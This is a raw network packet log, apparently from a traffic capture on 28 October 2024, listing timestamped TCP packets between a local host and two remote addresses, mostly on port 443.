Oct 28, 2024 19:12:27.081665993 CET	49802	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.081670046 CET	443	49802	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.085123062 CET	443	49804	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.085385084 CET	49804	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.085398912 CET	443	49804	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.085706949 CET	49804	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.085714102 CET	443	49804	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.209851027 CET	443	49803	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.209937096 CET	443	49803	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.210133076 CET	49803	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.210259914 CET	49803	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.210303068 CET	443	49803	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.210331917 CET	49803	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.210349083 CET	443	49803	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.213536978 CET	49807	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.213596106 CET	443	49807	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.213696003 CET	49807	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.213882923 CET	49807	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.213915110 CET	443	49807	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.215208054 CET	443	49802	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.215374947 CET	443	49802	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.215426922 CET	49802	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.215467930 CET	49802	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.215467930 CET	49802	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.215486050 CET	443	49802	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.215495110 CET	443	49802	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.217319965 CET	49808	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.217381954 CET	443	49808	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.217453957 CET	49808	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.217570066 CET	49808	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.217601061 CET	443	49808	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.224724054 CET	443	49804	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.224931955 CET	443	49804	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.224987984 CET	49804	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.225017071 CET	49804	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.225028992 CET	443	49804	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.225038052 CET	49804	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.225044012 CET	443	49804	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.226875067 CET	49809	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.226897001 CET	443	49809	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.226963043 CET	49809	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.227065086 CET	49809	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.227087975 CET	443	49809	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.549211979 CET	443	49805	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.549846888 CET	49805	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.549896002 CET	443	49805	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.550363064 CET	49805	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.550376892 CET	443	49805	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.690502882 CET	443	49806	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.691042900 CET	49806	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.691060066 CET	443	49806	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.691523075 CET	49806	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.691528082 CET	443	49806	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.693344116 CET	443	49805	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.694015026 CET	443	49805	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.694103956 CET	49805	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.694168091 CET	49805	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.694168091 CET	49805	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.694196939 CET	443	49805	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.694221973 CET	443	49805	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.696763992 CET	49810	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.696801901 CET	443	49810	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.696887016 CET	49810	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.697007895 CET	49810	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.697025061 CET	443	49810	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.826704979 CET	443	49806	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.826903105 CET	443	49806	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.826982975 CET	49806	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.886506081 CET	49806	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.886506081 CET	49806	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.886519909 CET	443	49806	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.886528015 CET	443	49806	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.930824041 CET	49811	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.930857897 CET	443	49811	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.930928946 CET	49811	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.931303978 CET	49811	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.931320906 CET	443	49811	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.965564013 CET	443	49807	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.971946001 CET	49807	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.971978903 CET	443	49807	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.975826025 CET	49807	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.975832939 CET	443	49807	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.982741117 CET	443	49808	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.983786106 CET	49808	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.983845949 CET	443	49808	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:27.986217976 CET	49808	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:27.986236095 CET	443	49808	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.000823975 CET	49724	80	192.168.2.4	199.232.214.172
Oct 28, 2024 19:12:28.006587029 CET	80	49724	199.232.214.172	192.168.2.4
Oct 28, 2024 19:12:28.006669998 CET	49724	80	192.168.2.4	199.232.214.172
Oct 28, 2024 19:12:28.039274931 CET	443	49809	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.039865017 CET	49809	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.039877892 CET	443	49809	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.040314913 CET	49809	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.040322065 CET	443	49809	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.108022928 CET	443	49807	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.108103991 CET	443	49807	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.108175993 CET	49807	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.108398914 CET	49807	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.108434916 CET	443	49807	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.108462095 CET	49807	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.108477116 CET	443	49807	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.111330032 CET	49812	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.111371040 CET	443	49812	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.111475945 CET	49812	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.111608028 CET	49812	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.111632109 CET	443	49812	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.119637012 CET	443	49808	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.119822025 CET	443	49808	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.119894028 CET	49808	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.119949102 CET	49808	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.119949102 CET	49808	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.119987011 CET	443	49808	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.120013952 CET	443	49808	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.121869087 CET	49813	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.121896982 CET	443	49813	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.121958971 CET	49813	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.122100115 CET	49813	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.122109890 CET	443	49813	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.182970047 CET	443	49809	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.183126926 CET	443	49809	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.183192968 CET	49809	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.183238983 CET	49809	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.183257103 CET	443	49809	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.183267117 CET	49809	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.183271885 CET	443	49809	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.185993910 CET	49814	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.186034918 CET	443	49814	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.186126947 CET	49814	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.186302900 CET	49814	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.186319113 CET	443	49814	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.451637983 CET	443	49810	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.458246946 CET	49810	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.458275080 CET	443	49810	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.459074020 CET	49810	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.459081888 CET	443	49810	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.593945980 CET	443	49810	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.594039917 CET	443	49810	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.594094038 CET	49810	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.594285965 CET	49810	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.594329119 CET	443	49810	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.594360113 CET	49810	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.594377041 CET	443	49810	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.597383022 CET	49815	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.597419024 CET	443	49815	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.597492933 CET	49815	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.597657919 CET	49815	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.597667933 CET	443	49815	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.704929113 CET	443	49811	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.705451965 CET	49811	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.705463886 CET	443	49811	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.705945969 CET	49811	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.705951929 CET	443	49811	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.983148098 CET	443	49811	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.983218908 CET	443	49811	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.983280897 CET	49811	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.983540058 CET	49811	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.983555079 CET	443	49811	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.983567953 CET	49811	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.983572960 CET	443	49811	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.986855984 CET	49816	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.986886978 CET	443	49816	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:28.986975908 CET	49816	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.987174988 CET	49816	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:28.987188101 CET	443	49816	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.110619068 CET	443	49812	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.111268044 CET	49812	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.111346960 CET	443	49812	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.111774921 CET	49812	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.111787081 CET	443	49812	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.124495983 CET	443	49813	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.124900103 CET	49813	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.124923944 CET	443	49813	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.125462055 CET	49813	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.125467062 CET	443	49813	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.128177881 CET	443	49814	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.128525972 CET	49814	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.128557920 CET	443	49814	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.128870010 CET	49814	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.128881931 CET	443	49814	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.244849920 CET	443	49812	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.244939089 CET	443	49812	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.245003939 CET	49812	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.245193005 CET	49812	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.245235920 CET	443	49812	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.245270014 CET	49812	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.245286942 CET	443	49812	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.248332977 CET	49817	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.248420954 CET	443	49817	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.248528957 CET	49817	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.248711109 CET	49817	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.248769045 CET	443	49817	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.263561964 CET	443	49813	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.263631105 CET	443	49813	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.263683081 CET	49813	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.263865948 CET	49813	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.263886929 CET	443	49813	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.263899088 CET	49813	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.263904095 CET	443	49813	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.266614914 CET	49818	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.266649008 CET	443	49818	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.266757011 CET	49818	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.266906023 CET	49818	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.266920090 CET	443	49818	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.339510918 CET	443	49815	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.340027094 CET	49815	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.340048075 CET	443	49815	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.340497971 CET	49815	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.340502024 CET	443	49815	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.422641993 CET	443	49814	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.422805071 CET	443	49814	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.422894001 CET	49814	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.422982931 CET	49814	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.422982931 CET	49814	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.423029900 CET	443	49814	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.423058987 CET	443	49814	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.425734043 CET	49819	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.425802946 CET	443	49819	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.425916910 CET	49819	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.426067114 CET	49819	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.426112890 CET	443	49819	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.476345062 CET	443	49815	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.476588964 CET	443	49815	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.476636887 CET	49815	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.476864100 CET	49815	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.476895094 CET	443	49815	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.476907015 CET	49815	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.476912975 CET	443	49815	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.480122089 CET	49820	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.480163097 CET	443	49820	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.480238914 CET	49820	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.480417967 CET	49820	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.480436087 CET	443	49820	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.781092882 CET	443	49816	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.781734943 CET	49816	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.781764984 CET	443	49816	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.782268047 CET	49816	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.782283068 CET	443	49816	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.918432951 CET	443	49816	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.918665886 CET	443	49816	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.918736935 CET	49816	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.918802977 CET	49816	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.918836117 CET	443	49816	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.918872118 CET	49816	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.918885946 CET	443	49816	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.922197104 CET	49821	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.922240973 CET	443	49821	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:29.922316074 CET	49821	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.922475100 CET	49821	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:29.922492981 CET	443	49821	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.046304941 CET	443	49817	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.046895027 CET	49817	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.046937943 CET	443	49817	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.047430038 CET	49817	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.047446012 CET	443	49817	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.048336029 CET	443	49818	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.048744917 CET	49818	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.048768044 CET	443	49818	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.049187899 CET	49818	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.049200058 CET	443	49818	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.178826094 CET	443	49819	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.179392099 CET	49819	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.179414034 CET	443	49819	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.179913044 CET	49819	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.179924011 CET	443	49819	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.187208891 CET	443	49817	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.187428951 CET	443	49817	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.187542915 CET	49817	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.187613010 CET	49817	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.187649012 CET	443	49817	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.187675953 CET	49817	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.187707901 CET	443	49817	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.189410925 CET	443	49818	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.189485073 CET	443	49818	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.189551115 CET	49818	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.189629078 CET	49818	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.189657927 CET	443	49818	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.189686060 CET	49818	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.189698935 CET	443	49818	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.190788031 CET	49822	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.190841913 CET	443	49822	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.190920115 CET	49822	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.191050053 CET	49822	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.191063881 CET	443	49822	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.191900015 CET	49823	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.191935062 CET	443	49823	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.192008972 CET	49823	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.192101955 CET	49823	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.192116022 CET	443	49823	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.247658014 CET	443	49820	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.248058081 CET	49820	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.248080969 CET	443	49820	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.248526096 CET	49820	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.248532057 CET	443	49820	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.317408085 CET	443	49819	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.317631960 CET	443	49819	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.317704916 CET	49819	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.317764044 CET	49819	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.317799091 CET	443	49819	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.317826986 CET	49819	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.317861080 CET	443	49819	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.320702076 CET	49824	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.320811987 CET	443	49824	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.320911884 CET	49824	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.321074963 CET	49824	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.321111917 CET	443	49824	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.388935089 CET	443	49820	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.389097929 CET	443	49820	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.389168024 CET	49820	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.389246941 CET	49820	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.389271975 CET	443	49820	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.389286995 CET	49820	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.389293909 CET	443	49820	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.391906023 CET	49825	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.391935110 CET	443	49825	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.392008066 CET	49825	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.392147064 CET	49825	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.392167091 CET	443	49825	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.685755968 CET	443	49821	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.686321974 CET	49821	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.686338902 CET	443	49821	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.686813116 CET	49821	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.686820030 CET	443	49821	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.823875904 CET	443	49821	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.826936960 CET	443	49821	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.827032089 CET	49821	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.827069044 CET	49821	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.827080965 CET	443	49821	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.827094078 CET	49821	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.827100039 CET	443	49821	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.830118895 CET	49826	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.830219030 CET	443	49826	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.830295086 CET	49826	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.830485106 CET	49826	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.830533981 CET	443	49826	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.975387096 CET	443	49822	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.976407051 CET	49822	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.976444960 CET	443	49822	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:30.976855040 CET	49822	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:30.976862907 CET	443	49822	13.107.253.45	192.168.2.4
